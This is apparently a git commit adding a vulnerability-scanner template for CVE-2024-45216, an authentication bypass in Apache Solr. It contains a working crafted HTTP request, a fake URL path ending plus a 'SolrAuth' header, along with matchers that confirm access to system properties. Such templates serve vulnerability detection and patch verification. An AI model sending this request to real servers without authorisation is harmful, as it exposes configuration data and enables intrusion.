added template for CVE-2024-45216
parent
203997f519
commit
c1357243c2
|
@ -0,0 +1,28 @@
|
|||
id: CVE-2024-45216
|
||||
|
||||
info:
|
||||
name: Authentication bypass in Apache Solr
|
||||
author: gumgum
|
||||
severity: critical
|
||||
description: Apache Solr before 9.7.0 allows an attacker to bypass authentication via a crafted HTTP request.
|
||||
reference:
|
||||
- https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2024-45216
|
||||
- https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
|
||||
tags: apache, solr, authentication bypass
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
|
||||
SolrAuth: gumgum
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "responseHeader"
|
||||
- "system.properties"
|
||||
condition: and
|
Loading…
Reference in New Issue